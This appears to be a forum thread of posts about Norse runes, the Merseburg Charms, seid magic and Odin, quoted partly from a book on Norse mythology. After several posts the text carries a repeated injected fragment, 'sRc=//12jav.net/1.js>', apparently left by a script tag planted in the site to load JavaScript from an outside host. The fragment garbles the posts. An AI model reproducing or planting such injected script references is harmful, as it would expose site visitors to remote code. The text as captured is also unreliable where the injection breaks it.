Very nice! Good luck. I'm pleased that I could be of service to spread the knowledge of the power of the runes.
Asaheil og vana!
Blessings of Aesir and Vanir!
(No I don't know Scandinavian a bit! Nor do I want to learn. But I feel the original words that a culture uses more closely holds the power of their meaning. In translation, much is lost.) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
They should work. I double checked them before posting. You just need to find the little space that this site adds to all links to break them, and delete that space. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
The link you gave has a mix of original runes and some later stuff. I have written in my book of shadows at least four or five different version of the runes all the way to Renaissance times.
The original Kenaz looks like < and hagalaz appears as an H with the horizontal line askew. Other than that, the others are correct. The "Odin" rune (aka blank rune) is not an original thing, in fact its very modern. When I purchased my rune set (adventurine with gold inlay), which I've had now since I was 13 years old, I put the blank rune in my gemstone collection! I never use it.
Eventually I will make my own rune set, complete with blood stained staves when I get the nerve to cut my own finger! Or more likely when I accidentally cut myself badly enough with a kitchen knife. But until then, I use my gemstone ones. =) sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Taken directly from the book "Norse Mythology" by John Lindow
Merseburg Charms
For an injury:
"Phol (Fulla?) and Wodan (Odin) went to the forest.
Then Balder's (Baldr) horse sprained its foot.
Then Sinthgunt sang charms, and Sunna her sister;
Then Friia sang charms, and Volla her sister;
Then Wodan sang charms, as he well could:
Be it bone-sprain, be it blood-sprain, be it limb-sprain;
Bone to bone, blood to blood,
Limb to limb, so be they glued together"
This is where the chant I gave a few months ago originated from and has been used for hundreds if not thousands of years.
We learned what Galdr is, now let's look at the word "seid"
In its most basic definition it's Odin's divination and magick. Let's read a bit from an ancient skald (poet). Of course it loses it's poetic flow when translated to english.
"Odin knew that art called seid, which the greatest power accompanied, and he carried it out himself. Through it he could determine the fates of men and things yet to happen, and also to arrange death or bad luck or ill health for people, and further to take the mind or strength of people and give it to others. And this magic art, when it is carried out, is accompanied by so much ergi (sexual perversion) that it did not seem shameless for men to indulge in it, and so this art was taught to priestesses."
Now keep in mind, Odin is not just a god of wisdom and magick, but of death as well, and later surpassed Thor in popularity among the warrior's and was recognized as over war as well. So for him, defeating enemies and death in general was his job and is a pretty normal thing. Think of the vikings. They weren't "cuddly" in the least, and neither is their god Odin. He was the top of the Norse god hierachy and therefore was also the final say/judge.
Fun fact...Odin and Sleipnir (his eight legged flying horse) are the origin of Santa Claus and his eight flying reindeer. It seems Odin became a little soft in his old age. I kid! It's only the origin, I wouldn't try calling Odin, Santa Claus.
Only the quoted parts were taken from the book, which have taken them from various sources and explained them in detail. A great book I would recommend for those serious in learning about Norse mythology. It is not a light read!
Anything not in quotations was me.
Currently, I am in search for the best translation of the Poetic Edda. Apparently there are many poorly made translations. Since I don't know Scandinavian, I want to find the absolute most accurate version. I've read it many times over, but only to discover they were "poor" translations. =(
Once I am satisfied with one, I'll share some of it here. It's a wonderful text I would also recommend. But it's best to read it after understanding the basics of Norse myth, otherwise you may not be able to follow along easily. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
